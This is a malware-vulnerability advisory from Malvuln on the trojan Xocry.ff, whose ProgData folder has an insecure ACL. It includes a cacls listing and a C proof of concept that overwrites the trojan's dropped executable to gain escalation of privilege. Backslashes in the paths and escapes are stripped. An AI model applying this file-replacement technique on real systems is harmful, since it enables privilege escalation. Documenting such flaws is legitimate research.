Authored by malvuln | Site malvuln.com

Trojan.Win32.Xocry.ff malware suffers from an insecure permissions vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8f13116d46a7097e14ef971d48d6a203.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan.Win32.Xocry.ff
Vulnerability: Insecure Permissions
Description: Trojan Xocry.ff creates its c:ProgData directory with an insecure ACL, handing over change permissions to any authenticated user allowing EoP.
Type: PE32
MD5: 8f13116d46a7097e14ef971d48d6a203
Vuln ID: MVID-2021-0050
Dropped files: C:Users[VICTIM]AppDataLocalTemp[RANDOM-NAME].exe
Disclosure: 01/23/2021


Exploit/PoC:
C:>cacls C:ProgDataProgData.exe
C:ProgDataProgData.exe BUILTINAdministrators:(ID)F
NT AUTHORITYSYSTEM:(ID)F
BUILTINUsers:(ID)R
NT AUTHORITYAuthenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:ProgDataProgData.exe"
#define TMP "C:ProgData2.exe"
#define DISABLED_TARGET "C:ProgData666.tmp"

/* Trojan.Win32.Xocry.ff.8f13116d46a7097e14ef971d48d6a203 */
/* Insecure Permissions EoP */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
if(!FileExists(DISABLED_TARGET)){
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Trojan.Win32.Xocry.ff EoP PoCn");
Sleep(1000);
printf("[+] Disabled Dropped ProgData.exe ...n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln ProgData dir...n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced ProgData EXE...n");
printf("[+] Done!n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Trojan.Win32.Xocry.ff PWNED!n");
printf("[+] MD5: 8f13116d46a7097e14ef971d48d6a203n");
printf("[+] By Malvulnn");
system("pause");
}
}



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